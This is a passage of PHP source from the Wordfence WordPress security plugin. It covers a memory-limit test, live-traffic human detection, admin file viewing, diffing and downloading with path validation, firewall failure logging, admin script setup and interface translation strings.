have requested {$configuredMax} megabytes.\n"; if (memory_get_usage(true) < 1) { echo "Exiting test because memory_get_usage() returned a negative number\n"; exit(); } if (memory_get_usage(true) > (1024 * 1024 * 1024)) { echo "Exiting because current memory usage is greater than a gigabyte.\n"; exit(); } if (!defined('WP_SANDBOX_SCRAPING')) { define('WP_SANDBOX_SCRAPING', true); } //Disables the WP error handler in somewhat of a hacky way $accumulatedMemory = array_fill(0, ceil($configuredMax / $stepSize), ''); $currentUsage = memory_get_usage(true); $tenMB = 10 * 1024 * 1024; $start = ceil($currentUsage / $tenMB) * $tenMB - $currentUsage; //Start at the closest 10 MB increment to the current usage $configuredMax = $configuredMax * 1048576; //Bytes $testLimit = $configuredMax - memory_get_usage(true); $finalUsage = '0'; $previous = 0; $chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ012345678900000000000000000000000000000000000000000000000000000000000000000000000000000000000000011111111111111111222222222222222222233333333333333334444444444444444444444444555555555555666666666666666666"; $index = 0; while ($start <= $testLimit) { $accumulatedMemory[$index] = str_repeat($chars, ($start - $previous) / 256); $finalUsage = sprintf('%.2f', (memory_get_usage(true) / 1024 / 1024)); echo "Tested up to " . $finalUsage . " megabytes.\n"; if ($start == $testLimit) { break; } $previous = $start; $start = min($start + $stepSize, $testLimit); if (memory_get_usage(true) > $configuredMax) { break; } $index++; } echo "--Test complete.--\n\nYour web host allows you to use at least {$finalUsage} megabytes of memory for each PHP process hosting your WordPress site.\n"; exit(); } public static function wfLogHumanHeader(){ //Final check in case this was added as an action before the request was fully initialized if (self::getLog()->getCurrentRequest()->jsRun || !wfConfig::liveTrafficEnabled()) { return; } self::$hitID = self::getLog()->logHit(); if (self::$hitID) { $URL = home_url('/?wordfence_lh=1&hid=' . wfUtils::encrypt(self::$hitID)); $URL = addslashes(preg_replace('/^https?:/i', '', $URL)); #Load as external script async so we don't slow page down. echo << (function(url){ if(/(?:Chrome\/26\.0\.1410\.63 Safari\/537\.31|WordfenceTestMonBot)/.test(navigator.userAgent)){ return; } var addEvent = function(evt, handler) { if (window.addEventListener) { document.addEventListener(evt, handler, false); } else if (window.attachEvent) { document.attachEvent('on' + evt, handler); } }; var removeEvent = function(evt, handler) { if (window.removeEventListener) { document.removeEventListener(evt, handler, false); } else if (window.detachEvent) { document.detachEvent('on' + evt, handler); } }; var evts = 'contextmenu dblclick drag dragend dragenter dragleave dragover dragstart drop keydown keypress keyup mousedown mousemove mouseout mouseover mouseup mousewheel scroll'.split(' '); var logHuman = function() { if (window.wfLogHumanRan) { return; } window.wfLogHumanRan = true; var wfscr = document.createElement('script'); wfscr.type = 'text/javascript'; wfscr.async = true; wfscr.src = url + '&r=' + Math.random(); (document.getElementsByTagName('head')[0]||document.getElementsByTagName('body')[0]).appendChild(wfscr); for (var i = 0; i < evts.length; i++) { removeEvent(evts[i], logHuman); } }; for (var i = 0; i < evts.length; i++) { addEvent(evts[i], logHuman); } })('$URL'); HTML; } } public static function shutdownAction(){ } public static function wfFunc_viewActivityLog(){ require(dirname(__FILE__) . '/viewFullActivityLog.php'); exit(0); } public static function wfFunc_IPTraf(){ $IP = $_GET['IP']; try { $response = self::IPTraf($IP); $reverseLookup = $response['reverseLookup']; $results = $response['results']; require(dirname(__FILE__) . '/IPTraf.php'); exit(0); } catch (InvalidArgumentException $e) { echo $e->getMessage(); exit; } } private static function IPTraf($ip) { if(!wfUtils::isValidIP($ip)){ throw new InvalidArgumentException(__("An invalid IP address was specified.", 'wordfence')); } $reverseLookup = wfUtils::reverseLookup($ip); $wfLog = wfLog::shared(); $results = array_merge( $wfLog->getHits('hits', '404', 0, 10000, $ip), $wfLog->getHits('hits', 'hit', 0, 10000, $ip) ); usort($results, 'wordfence::iptrafsort'); $ids = array(); foreach ($results as $k => $r) { if (isset($ids[$r['id']])) { unset($results[$k]); } else { $ids[$r['id']] = 1; } } $results = array_values($results); for ($i = 0; $i < count($results); $i++){ if(array_key_exists($i + 1, $results)){ $results[$i]['timeSinceLastHit'] = sprintf('%.4f', $results[$i]['ctime'] - $results[$i + 1]['ctime']); } else { $results[$i]['timeSinceLastHit'] = ''; } } return compact('reverseLookup', 'results'); } public static function iptrafsort($b, $a){ if($a['ctime'] == $b['ctime']){ return 0; } return ($a['ctime'] < $b['ctime']) ? -1 : 1; } private static function checkRealFileParameters() { if (array_key_exists('realFile', $_GET)) { $realFile = stripslashes($_GET['realFile']); $token = array_key_exists('realFileToken', $_GET) ? $_GET['realFileToken'] : ''; if (!wfIssues::verifyRealFileToken($token, $realFile)) { esc_html_e('This link has expired. Refresh the scan results page and try again.', 'wordfence'); exit(0); } return $realFile; } return null; } public static function wfFunc_viewOption() { /** @var wpdb $wpdb */ global $wpdb; $site_id = !empty($_GET['site_id']) ? absint($_GET['site_id']) : get_current_blog_id(); $option_name = !empty($_GET['option']) ? $_GET['option'] : false; $table_options = wfDB::blogTable('options', $site_id); $option_value = $wpdb->get_var($wpdb->prepare("SELECT option_value FROM {$table_options} WHERE option_name = %s", $option_name)); header('Content-type: text/plain'); exit($option_value); } public static function wfFunc_view(){ wfUtils::doNotCache(); if (WORDFENCE_DISABLE_FILE_VIEWER) { _e("File access blocked. (WORDFENCE_DISABLE_FILE_VIEWER is true)", 'wordfence'); exit(); } $localFile = self::checkRealFileParameters(); if ($localFile === null) $localFile = ABSPATH . preg_replace('/^(?:\.\.|[\/]+)/', '', sanitize_text_field($_GET['file'])); if(strpos($localFile, '..') !== false){ _e("Invalid file requested. (Relative paths not allowed)", 'wordfence'); exit(); } if(preg_match('/[\'\"<>\!\{\}\(\)\&\@\%\$\*\+\[\]\?]+/', $localFile)){ _e("File contains illegal characters.", 'wordfence'); exit(); } $cont = @file_get_contents($localFile); $isEmpty = false; if(! $cont){ if(file_exists($localFile) && filesize($localFile) === 0){ //There's a remote possibility that very large files on 32 bit systems will return 0 here, but it's about 1 in 2 billion $isEmpty = true; } else { $err = error_get_last(); printf(/* translators: Error message. */ __("We could not open the requested file for reading. The error was: %s", 'wordfence'), $err['message']); exit(0); } } $fileMTime = @filemtime($localFile); $fileMTime = date('l jS \of F Y h:i:s A', $fileMTime); try { if(wfUtils::fileOver2Gigs($localFile)){ $fileSize = __("Greater than 2 Gigs", 'wordfence'); } else { $fileSize = @filesize($localFile); //Checked if over 2 gigs above $fileSize = number_format($fileSize, 0, '', ',') . ' bytes'; } } catch(Exception $e){ $fileSize = __('Unknown file size.', 'wordfence'); } require(dirname(__FILE__) . '/wfViewResult.php'); exit(0); } public static function wfFunc_diff(){ wfUtils::doNotCache(); if (WORDFENCE_DISABLE_FILE_VIEWER) { esc_html_e("File access blocked. (WORDFENCE_DISABLE_FILE_VIEWER is true)", 'wordfence'); exit(); } if(preg_match('/[\'\"<>\!\{\}\(\)\&\@\%\$\*\+\[\]\?]+/', $_GET['file'])){ esc_html_e("File contains illegal characters.", 'wordfence'); exit(); } $result = self::getWPFileContent($_GET['file'], $_GET['cType'], wp_unslash($_GET['cName']), $_GET['cVersion']); if( isset( $result['errorMsg'] ) && $result['errorMsg']){ echo wp_kses($result['errorMsg'], array()); exit(0); } else if(! $result['fileContent']){ esc_html_e("We could not get the contents of the original file to do a comparison.", 'wordfence'); exit(0); } $localFile = self::checkRealFileParameters(); if ($localFile === null) { $localFile = realpath(ABSPATH . '/' . preg_replace('/^[\.\/]+/', '', $_GET['file'])); } if (empty($localFile)) { esc_html_e('Empty file path provided', 'wordfence'); exit(0); } $localContents = file_get_contents($localFile); if ($localContents === false) { esc_html_e('Unable to read file contents', 'wordfence'); exit(0); } if($localContents == $result['fileContent']){ $diffResult = ''; } else { $diff = new Diff( //Treat DOS and Unix files the same preg_split("/(?:\r\n|\n)/", $result['fileContent']), preg_split("/(?:\r\n|\n)/", $localContents), array() ); $renderer = new Diff_Renderer_Html_SideBySide; $diffResult = $diff->Render($renderer); } require(dirname(__FILE__) . '/diffResult.php'); exit(0); } public static function wfFunc_download() { wfUtils::doNotCache(); if (WORDFENCE_DISABLE_FILE_VIEWER) { esc_html_e("File access blocked. (WORDFENCE_DISABLE_FILE_VIEWER is true)", 'wordfence'); exit(); } $localFile = self::checkRealFileParameters(); if ($localFile === null) $localFile = ABSPATH . preg_replace('/^(?:\.\.|[\/]+)/', '', sanitize_text_field($_GET['file'])); if (strpos($localFile, '..') !== false) { esc_html_e("Invalid file requested. (Relative paths not allowed)", 'wordfence'); exit(); } if (preg_match('/[\'\"<>\!\{\}\(\)\&\@\%\$\*\+\[\]\?]+/', $localFile)) { esc_html_e("File contains illegal characters.", 'wordfence'); exit(); } if (!file_exists($localFile)) { _e('File does not exist.', 'wordfence'); exit(); } $filename = basename($localFile); header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="' . $filename . '"'); header('Content-Length: ' . filesize($localFile)); readfile($localFile); exit; } public static function wfFunc_blockedIPs() { $blocks = wfBlock::ipBlocks(true); $output = ''; if (is_array($blocks)) { foreach ($blocks as $entry) { $output .= $entry->ip . "\n"; } } header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="' . get_bloginfo('name', 'raw') . ' - Blocked IPs.txt"'); header('Content-Length: ' . strlen($output)); echo $output; exit; } /** * */ public static function wfFunc_debugWAF() { $data = array(); if (!empty($_GET['hitid'])) { $data['hit'] = new wfRequestModel($_GET['hitid']); if ($data['hit']->actionData) { $data['hitData'] = (object) wfRequestModel::unserializeActionData($data['hit']->actionData); } echo wfView::create('waf/debug', $data); } } public static function isWafFailureLoggingEnabled() { return wfConfig::get('other_WFNet', true); } private static function purgeWafFailures() { global $wpdb; $table = wfDB::networkTable('wfWafFailures'); $wpdb->query("DELETE FROM {$table} WHERE `timestamp` < DATE_SUB(NOW(), INTERVAL 1 DAY)"); } private static function capWafFailures() { global $wpdb; $table = wfDB::networkTable('wfWafFailures'); $highestDeletableId = $wpdb->get_var("SELECT id FROM {$table} ORDER BY id DESC LIMIT 1 OFFSET 25"); if ($highestDeletableId === null) return; $wpdb->query( $wpdb->prepare( "DELETE FROM {$table} WHERE id <= %d", $highestDeletableId ) ); } public static function logWafFailure() { global $wf_waf_failure, $wpdb; if (!self::isWafFailureLoggingEnabled()) return; if (is_array($wf_waf_failure) && array_key_exists('throwable', $wf_waf_failure)) { $throwable = $wf_waf_failure['throwable']; if (!($throwable instanceof Throwable || $throwable instanceof Exception)) return; $table = wfDB::networkTable('wfWafFailures'); $data = [ 'throwable' => (string) $throwable ]; if (array_key_exists('rule_id', $wf_waf_failure)) { $ruleId = $wf_waf_failure['rule_id']; if (is_int($ruleId) || $ruleId >= 0) $data['rule_id'] = (int) $ruleId; } $wpdb->insert($table, $data); self::capWafFailures(); self::scheduleSendAttackData(); } } public static function initAction(){ self::logWafFailure(); load_plugin_textdomain('wordfence', false, basename(WORDFENCE_PATH) . '/languages'); $firewall = new wfFirewall(); define('WFWAF_OPERATIONAL', $firewall->testConfig()); $currentUserID = get_current_user_id(); $role = wordfence::getCurrentUserRole(); if (!WFWAF_SUBDIRECTORY_INSTALL) { try { $authCookie = wfWAF::getInstance()->parseAuthCookie(); $capabilities = wordfence::getCurrentUserCapabilities(); if (is_user_logged_in() && ( !$authCookie || (int) $currentUserID !== (int) $authCookie['userID'] || $role !== $authCookie['role'] || $authCookie['capabilities'] !== $capabilities //Capability ordering is fixed so a direct equality check is valid ) ) { wfUtils::setcookie(wfWAF::getInstance()->getAuthCookieName(), $currentUserID . '|' . $role . '|' . implode(',', $capabilities) . '|' . wfWAF::getInstance()->getAuthCookieValue($currentUserID, $role, $capabilities), time() + 43200, COOKIEPATH, COOKIE_DOMAIN, wfUtils::isFullSSL(), true); } } catch (wfWAFStorageFileException $e) { error_log($e->getMessage()); } catch (wfWAFStorageEngineMySQLiException $e) { error_log($e->getMessage()); } } if (wfConfig::get('other_hideWPVersion')) { global $wp_version; global $wp_styles; if (!($wp_styles instanceof WP_Styles)) { $wp_styles = new WP_Styles(); } if ($wp_styles->default_version === $wp_version) { $wp_styles->default_version = wp_hash($wp_styles->default_version); } foreach ($wp_styles->registered as $key => $val) { if ($wp_styles->registered[$key]->ver === $wp_version) { $wp_styles->registered[$key]->ver = wp_hash($wp_styles->registered[$key]->ver); } } global $wp_scripts; if (!($wp_scripts instanceof WP_Scripts)) { $wp_scripts = new WP_Scripts(); } if ($wp_scripts->default_version === $wp_version) { $wp_scripts->default_version = wp_hash($wp_scripts->default_version); } foreach ($wp_scripts->registered as $key => $val) { if ($wp_scripts->registered[$key]->ver === $wp_version) { $wp_scripts->registered[$key]->ver = wp_hash($wp_scripts->registered[$key]->ver); } } } } public static function admin_init(){ if(! wfUtils::isAdmin()){ return; } wfOnboardingController::initialize(); if (is_admin() && isset($_GET['page'])) { switch ($_GET['page']) { case 'WordfenceBlocking': wp_redirect(network_admin_url('admin.php?page=WordfenceWAF#top#blocking')); die; case 'WordfenceAuditLog': wp_redirect(network_admin_url('admin.php?page=WordfenceTools&subpage=auditlog')); die; case 'WordfenceLiveTraffic': wp_redirect(network_admin_url('admin.php?page=WordfenceTools&subpage=livetraffic')); die; case 'WordfenceTools': if (wfOnboardingController::shouldShowAttempt3() && !array_key_exists('subpage', $_GET)) { wp_redirect(add_query_arg('subpage', 'diagnostics')); die; } } } if (wfConfig::get('touppBypassNextCheck')) { wfConfig::set('touppBypassNextCheck', 0); wfConfig::set('touppPromptNeeded', 0); } foreach(array( 'activate', 'scan', 'updateAlertEmail', 'sendActivityLog', 'restoreFile', 'exportSettings', 'importSettings', 'bulkOperation', 'deleteFile', 'deleteDatabaseOption', 'removeExclusion', 'activityLogUpdate', 'ticker', 'loadIssues', 'updateIssueStatus', 'deleteIssue', 'updateAllIssues', 'avatarLookup', 'reverseLookup', 'unlockOutIP', 'unblockRange', 'whois', 'recentTraffic', 'unblockIP', 'blockIP', 'permBlockIP', 'loadStaticPanel', 'updateIPPreview', 'downloadHtaccess', 'downloadLogFile', 'checkHtaccess', 'updateConfig', 'autoUpdateChoice', 'misconfiguredHowGetIPsChoice', 'switchLiveTrafficSecurityOnlyChoice', 'dismissAdminNotice', 'wordfenceSatisfactionChoice', 'killScan', 'saveCountryBlocking', 'tourClosed', 'downgradeLicense', 'addTwoFactor', 'twoFacActivate', 'twoFacDel', 'loadTwoFactor', 'sendTestEmail', 'email_summary_email_address_debug', 'unblockNetwork', 'sendDiagnostic', 'saveDisclosureState', 'updateWAFRules', 'loadLiveTraffic', 'whitelistWAFParamKey', 'disableDirectoryListing', 'fixFPD', 'deleteAdminUser', 'revokeAdminUser', 'acknowledgeAdminUser', 'hideFileHtaccess', 'saveDebuggingConfig', 'dismissNotification', 'utilityScanForBlacklisted', 'dashboardShowMore', 'saveOptions', 'restoreDefaults', 'enableAllOptionsPage', 'createBlock', 'deleteBlocks', 'makePermanentBlocks', 'getBlocks', 'installAutoPrepend', 'uninstallAutoPrepend', 'installLicense', 'recordTOUPP', 'mailingSignup', 'switchTo2FANew', 'switchTo2FAOld', 'wfcentral_step1', 'wfcentral_step2', 'wfcentral_step3', 'wfcentral_step4', 'wfcentral_step5', 'wfcentral_step6', 'wfcentral_disconnect', 'exportDiagnostics', 'hideNoticeForUser', 'setDeactivationOption' ) as $func){ add_action('wp_ajax_wordfence_' . $func, 'wordfence::ajaxReceiver'); } wp_register_script('chart-js', wfUtils::getBaseURL() . wfUtils::versionedAsset('js/chart.umd.js'), array('jquery'), '4.2.1'); wp_register_script('wordfence-select2-js', wfUtils::getBaseURL() . wfUtils::versionedAsset('js/wfselect2.min.js'), array('jquery', 'jquery-ui-tooltip'), WORDFENCE_VERSION); wp_register_style('wordfence-select2-css', wfUtils::getBaseURL() . wfUtils::versionedAsset('css/wfselect2.min.css'), array(), WORDFENCE_VERSION); wp_register_style('wordfence-font-awesome-style', wfUtils::getBaseURL() . wfUtils::versionedAsset('css/wf-font-awesome.css'), '', WORDFENCE_VERSION); if (self::isWordfencePage()) { wp_enqueue_style('wp-pointer'); wp_enqueue_script('wp-pointer'); wp_enqueue_style('wordfence-font', wfUtils::getBaseURL() . wfUtils::versionedAsset('css/wf-roboto-font.css'), '', WORDFENCE_VERSION); wp_enqueue_style('wordfence-font-awesome-style'); wp_enqueue_style('wordfence-main-style', wfUtils::getBaseURL() . wfUtils::versionedAsset('css/main.css'), '', WORDFENCE_VERSION); wp_enqueue_style('wordfence-ionicons-style', wfUtils::getBaseURL() . wfUtils::versionedAsset('css/wf-ionicons.css'), '', WORDFENCE_VERSION); wp_enqueue_style('wordfence-colorbox-style', wfUtils::getBaseURL() . wfUtils::versionedAsset('css/wf-colorbox.css'), '', WORDFENCE_VERSION); wp_enqueue_style('wordfence-license-style', wfLicense::current()->getStylesheet()); wp_enqueue_script('json2'); wp_enqueue_script('jquery-ui-core'); wp_enqueue_script('jquery-ui-menu'); wp_enqueue_script('jquery.wftmpl', wfUtils::getBaseURL() . wfUtils::versionedAsset('js/jquery.tmpl.min.js'), array('jquery'), WORDFENCE_VERSION); wp_enqueue_script('jquery.wfcolorbox', wfUtils::getBaseURL() . wfUtils::versionedAsset('js/jquery.colorbox-min.js'), array('jquery'), WORDFENCE_VERSION); wp_enqueue_script('jquery.qrcode', wfUtils::getBaseURL() . wfUtils::versionedAsset('js/jquery.qrcode.min.js'), array('jquery'), WORDFENCE_VERSION); wp_enqueue_script('wfi18njs', wfUtils::getBaseURL() . wfUtils::versionedAsset('js/wfi18n.js'), array(), WORDFENCE_VERSION); wp_enqueue_script('wordfenceAdminExtjs', wfUtils::getBaseURL() . wfUtils::versionedAsset('js/wfglobal.js'), array('jquery'), WORDFENCE_VERSION); wp_enqueue_script('wordfenceAdminjs', wfUtils::getBaseURL() . wfUtils::versionedAsset('js/admin.js'), array('jquery', 'jquery-ui-core', 'jquery-ui-menu'), WORDFENCE_VERSION); wp_enqueue_script('wordfenceDropdownjs', wfUtils::getBaseURL() . wfUtils::versionedAsset('js/wfdropdown.js'), array('jquery'), WORDFENCE_VERSION); self::setupAdminVars(); if (wfConfig::get('touppPromptNeeded')) { add_filter('admin_body_class', 'wordfence::showTOUPPOverlay', 99, 1); } } else { wp_enqueue_style('wp-pointer'); wp_enqueue_script('wp-pointer'); wp_enqueue_script('wfi18njs', wfUtils::getBaseURL() . wfUtils::versionedAsset('js/wfi18n.js'), array(), WORDFENCE_VERSION); wp_enqueue_script('wordfenceAdminExtjs', wfUtils::getBaseURL() . wfUtils::versionedAsset('js/wfglobal.js'), array('jquery'), WORDFENCE_VERSION); wp_enqueue_style('wordfence-font-awesome-style'); wp_enqueue_style('wordfence-global-style', wfUtils::getBaseURL() . wfUtils::versionedAsset('css/wf-global.css'), '', WORDFENCE_VERSION); self::setupAdminVars(); } if (is_admin()) { //Back end only if (wfOnboardingController::shouldShowAnyAttempt()) { wp_enqueue_script('wordfenceOnboardingjs', wfUtils::getBaseURL() . wfUtils::versionedAsset('js/wfonboarding.js'), array('jquery', 'wordfenceAdminExtjs'), WORDFENCE_VERSION); } if (preg_match('/\/wp-admin(\/network)?\/plugins.php$/', parse_url($_SERVER['REQUEST_URI'], PHP_URL_PATH))) { wp_enqueue_style('wordfence-colorbox-style', wfUtils::getBaseURL() . wfUtils::versionedAsset('css/wf-colorbox.css'), '', WORDFENCE_VERSION); wp_enqueue_script('jquery.wfcolorbox', wfUtils::getBaseURL() . wfUtils::versionedAsset('js/jquery.colorbox-min.js'), array('jquery'), WORDFENCE_VERSION); } wfUtils::refreshCachedHomeURL(); wfUtils::refreshCachedSiteURL(); } if (self::isWordfenceInstallPage()) return; //Early WAF configuration actions if (wfOnboardingController::shouldShowAttempt3(!self::isWordfencePage(false))) { add_action(is_multisite() ? 'network_admin_notices' : 'admin_notices', 'wordfence::showOnboardingBanner'); } elseif ((!WFWAF_AUTO_PREPEND || WFWAF_SUBDIRECTORY_INSTALL) && empty($_GET['wafAction']) && !wfConfig::get('dismissAutoPrependNotice') && !wfConfig::get('touppPromptNeeded')) { if (is_multisite()) { add_action('network_admin_notices', 'wordfence::wafAutoPrependNotice'); } else { add_action('admin_notices', 'wordfence::wafAutoPrependNotice'); } } if (wfConfig::get('wordfenceCentralConfigurationIssue')) { add_action(is_multisite() ? 'network_admin_notices' : 'admin_notices', 'wordfence::showCentralConfigurationIssueNotice'); } if (isset($_GET['page']) && $_GET['page'] == 'WordfenceWAF' && isset($_GET['subpage']) && $_GET['subpage'] == 'waf_options') { if (!WFWAF_AUTO_PREPEND || WFWAF_SUBDIRECTORY_INSTALL) { //Not yet installed if (isset($_GET['action']) && $_GET['action'] == 'configureAutoPrepend') { check_admin_referer('wfWAFAutoPrepend', 'wfnonce'); if (isset($_GET['serverConfiguration']) && wfWAFAutoPrependHelper::isValidServerConfig($_GET['serverConfiguration'])) { $helper = new wfWAFAutoPrependHelper($_GET['serverConfiguration']); if (isset($_GET['downloadBackup'])) { $helper->downloadBackups(isset($_GET['backupIndex']) ? absint($_GET['backupIndex']) : 0); } } } } else { //Already installed if (isset($_GET['action']) && $_GET['action'] == 'removeAutoPrepend') { check_admin_referer('wfWAFRemoveAutoPrepend', 'wfnonce'); if (isset($_GET['serverConfiguration']) && wfWAFAutoPrependHelper::isValidServerConfig($_GET['serverConfiguration'])) { $helper = new wfWAFAutoPrependHelper($_GET['serverConfiguration']); if (isset($_GET['downloadBackup'])) { $helper->downloadBackups(isset($_GET['backupIndex']) ? absint($_GET['backupIndex']) : 0); } } } } } } private static function setupAdminVars(){ $updateInt = max(absint(wfConfig::getInt('actUpdateInterval', 2)), 2) * 1000; //ms wp_localize_script('wordfenceAdminExtjs', 'WordfenceAdminVars', array( 'ajaxURL' => admin_url('admin-ajax.php'), 'firstNonce' => wp_create_nonce('wp-ajax'), 'siteBaseURL' => wfUtils::getSiteBaseURL(), 'debugOn' => wfConfig::get('debugOn', 0), 'actUpdateInterval' => $updateInt, 'cacheType' => wfConfig::get('cacheType'), 'liveTrafficEnabled' => wfConfig::liveTrafficEnabled(), 'scanIssuesPerPage' => WORDFENCE_SCAN_ISSUES_PER_PAGE, 'allowsPausing' => wfConfig::get('liveActivityPauseEnabled'), 'scanRunning' => wfScanner::shared()->isRunning() ? '1' : '0', 'modalTemplate' => wfView::create('common/modal-prompt', array('title' => '${title}', 'message' => '${message}', 'primaryButton' => array('id' => 'wf-generic-modal-close', 'label' => __('Close', 'wordfence'), 'link' => '#')))->render(), 'tokenInvalidTemplate' => wfView::create('common/modal-prompt', array('title' => '${title}', 'message' => '${message}', 'primaryButton' => array('id' => 'wf-token-invalid-modal-reload', 'label' => __('Reload', 'wordfence'), 'link' => '#')))->render(), 'modalHTMLTemplate' => wfView::create('common/modal-prompt', array('title' => '${title}', 'message' => '{{html message}}', 'primaryButton' => array('id' => 'wf-generic-modal-close', 'label' => __('Close', 'wordfence'), 'link' => '#')))->render(), 'alertEmailBlacklist' => wfConfig::alertEmailBlacklist(), 'supportURLs' => array( 'scan-result-repair-modified-files' => esc_url_raw(wfSupportController::supportURL(wfSupportController::ITEM_SCAN_RESULT_REPAIR_MODIFIED_FILES)), ), )); self::setupI18nJSStrings(); } private static function setupI18nJSStrings() { static $called; if ($called) { return; } $called = true; wp_localize_script('wfi18njs', 'WordfenceI18nStrings', array( '${totalIPs} addresses in this network' => __('${totalIPs} addresses in this network', 'wordfence'), '%s in POST body: %s' => /* translators: 1. Description of firewall action. 2. Description of input parameters. */ __('%s in POST body: %s', 'wordfence'), '%s in cookie: %s' => /* translators: 1. Description of firewall action. 2. Description of input parameters. */ __('%s in cookie: %s', 'wordfence'), '%s in file: %s' => /* translators: 1. Description of firewall action. 2. Description of input parameters. */ __('%s in file: %s', 'wordfence'), '%s in query string: %s' => /* translators: 1. Description of firewall action. 2. Description of input parameters. */ __('%s in query string: %s', 'wordfence'), '%s is not valid hostname' => /* translators: Domain name. */ __('%s is not valid hostname', 'wordfence'), '.htaccess Updated' => __('.htaccess Updated', 'wordfence'), '.htaccess change' => __('.htaccess change', 'wordfence'), '404 Not Found' => __('404 Not Found', 'wordfence'), 'Activity Log Sent' => __('Activity Log Sent', 'wordfence'), 'Add action to allowlist' => __('Add action to allowlist', 'wordfence'), 'Add code to .htaccess' => __('Add code to .htaccess', 'wordfence'), 'All Hits' => __('All Hits', 'wordfence'), 'All capabilties of admin user %s were successfully revoked.' => /* translators: WordPress username. */ __('All capabilties of admin user %s were successfully revoked.', 'wordfence'), 'An error occurred' => __('An error occurred', 'wordfence'), 'An error occurred when adding the request to the allowlist.' => __('An error occurred when adding the request to the allowlist.', 'wordfence'), 'Are you sure you want to allowlist this action?' => __('Are you sure you want to allowlist this action?', 'wordfence'), 'Authentication Code' => __('Authentication Code', 'wordfence'), 'Background Request Blocked' => __('Background Request Blocked', 'wordfence'), 'Block This Network' => __('Block This Network', 'wordfence'), 'Blocked' => __('Blocked', 'wordfence'), 'Blocked By Firewall' => __('Blocked By Firewall', 'wordfence'), 'Blocked WAF' => __('Blocked WAF', 'wordfence'), 'Blocked by Wordfence' => __('Blocked by Wordfence', 'wordfence'), 'Blocked by Wordfence plugin settings' => __('Blocked by Wordfence plugin settings', 'wordfence'), 'Blocked by the Wordfence Application Firewall and plugin settings' => __('Blocked by the Wordfence Application Firewall and plugin settings', 'wordfence'), 'Blocked by the Wordfence Security Network' => __('Blocked by the Wordfence Security Network', 'wordfence'), 'Blocked by the Wordfence Web Application Firewall' => __('Blocked by the Wordfence Web Application Firewall', 'wordfence'), 'Bot' => __('Bot', 'wordfence'), 'Cancel Changes' => __('Cancel Changes', 'wordfence'), 'Cellphone Sign-In Recovery Codes' => __('Cellphone Sign-In Recovery Codes', 'wordfence'), 'Cellphone Sign-in activated for user.' => __('Cellphone Sign-in activated for user.', 'wordfence'), 'Click here to download a backup copy of this file now' => __('Click here to download a backup copy of this file now', 'wordfence'), 'Click here to download a backup copy of your .htaccess file now' => __('Click here to download a backup copy of your .htaccess file now', 'wordfence'), 'Click to fix .htaccess' => __('Click to fix .htaccess', 'wordfence'), 'Close' => __('Close', 'wordfence'), 'Crawlers' => __('Crawlers', 'wordfence'), 'Diagnostic report has been sent successfully.' => __('Diagnostic report has been sent successfully.', 'wordfence'), 'Directory Listing Disabled' => __('Directory Listing Disabled', 'wordfence'), 'Directory listing has been disabled on your server.' => __('Directory listing has been disabled on your server.', 'wordfence'), 'Disabled' => __('Disabled', 'wordfence'), 'Dismiss' => __('Dismiss', 'wordfence'), 'Don\'t ask again' => __('Don\'t ask again', 'wordfence'), 'Download' => __('Download', 'wordfence'), 'Download Backup File' => __('Download Backup File', 'wordfence'), 'Each line of 16 letters and numbers is a single recovery code, with optional spaces for readability. When typing your password, enter "wf" followed by the entire code like "mypassword wf1234 5678 90AB CDEF". If your site shows a separate prompt for entering a code after entering only your username and password, enter only the code like "1234 5678 90AB CDEF". Your recovery codes are:' => __('Each line of 16 letters and numbers is a single recovery code, with optional spaces for readability. When typing your password, enter "wf" followed by the entire code like "mypassword wf1234 5678 90AB CDEF". If your site shows a separate prompt for entering a code after entering only your username and password, enter only the code like "1234 5678 90AB CDEF". Your recovery codes are:', 'wordfence'), 'Email Diagnostic Report' => __('Email Diagnostic Report', 'wordfence'), 'Email Wordfence Activity Log' => __('Email Wordfence Activity Log', 'wordfence'), 'Enter a valid IP or domain' => __('Enter a valid IP or domain', 'wordfence'), 'Enter the email address you would like to send the Wordfence activity log to. Note that the activity log may contain thousands of lines of data. This log is usually only sent to a member of the Wordfence support team. It also contains your PHP configuration from the phpinfo() function for diagnostic data.' => __('Enter the email address you would like to send the Wordfence activity log to. Note that the activity log may contain thousands of lines of data. This log is usually only sent to a member of the Wordfence support team. It also contains your PHP configuration from the phpinfo() function for diagnostic data.', 'wordfence'), 'Error' => __('Error', 'wordfence'), 'Error Enabling All Options Page' => __('Error Enabling All Options Page', 'wordfence'), 'Error Restoring Defaults' => __('Error Restoring Defaults', 'wordfence'), 'Error Saving Option' => __('Error Saving Option', 'wordfence'), 'Error Saving Options' => __('Error Saving Options', 'wordfence'), 'Failed Login' => __('Failed Login', 'wordfence'), 'Failed Login: Invalid Username' => __('Failed Login: Invalid Username', 'wordfence'), 'Failed Login: Valid Username' => __('Failed Login: Valid Username', 'wordfence'), 'File hidden successfully' => __('File hidden successfully', 'wordfence'), 'File restored OK' => __('File restored OK', 'wordfence'), 'Filter Traffic' => __('Filter Traffic', 'wordfence'), 'Firewall Response' => __('Firewall Response', 'wordfence'), 'Full Path Disclosure' => __('Full Path Disclosure', 'wordfence'), 'Google Bot' => __('Google Bot', 'wordfence'), 'Google Crawlers' => __('Google Crawlers', 'wordfence'), 'HTTP Response Code' => __('HTTP Response Code', 'wordfence'), 'Human' => __('Human', 'wordfence'), 'Humans' => __('Humans', 'wordfence'), 'IP' => __('IP', 'wordfence'), 'Key:' => __('Key:', 'wordfence'), 'Last Updated: %s' => /* translators: Localized date. */ __('Last Updated: %s', 'wordfence'), 'Learn more about repairing modified files.' => __('Learn more about repairing modified files.', 'wordfence'), 'Loading...' => __('Loading...', 'wordfence'), 'Locked Out' => __('Locked Out', 'wordfence'), 'Locked out from logging in' => __('Locked out from logging in', 'wordfence'), 'Logged In' => __('Logged In', 'wordfence'), 'Logins' => __('Logins', 'wordfence'), 'Logins and Logouts' => __('Logins and Logouts', 'wordfence'), 'Look up IP or Domain' => __('Look up IP or Domain', 'wordfence'), 'Manual block by administrator' => __('Manual block by administrator', 'wordfence'), 'Next Update Check: %s' => /* translators: Localized date. */ __('Next Update Check: %s', 'wordfence'), 'No activity to report yet. Please complete your first scan.' => __('No activity to report yet. Please complete your first scan.', 'wordfence'), 'No issues have been ignored.' => __('No issues have been ignored.', 'wordfence'), 'No new issues have been found.' => __('No new issues have been found.', 'wordfence'), 'No rules were updated. Please verify you have permissions to write to the /wp-content/wflogs directory.' => 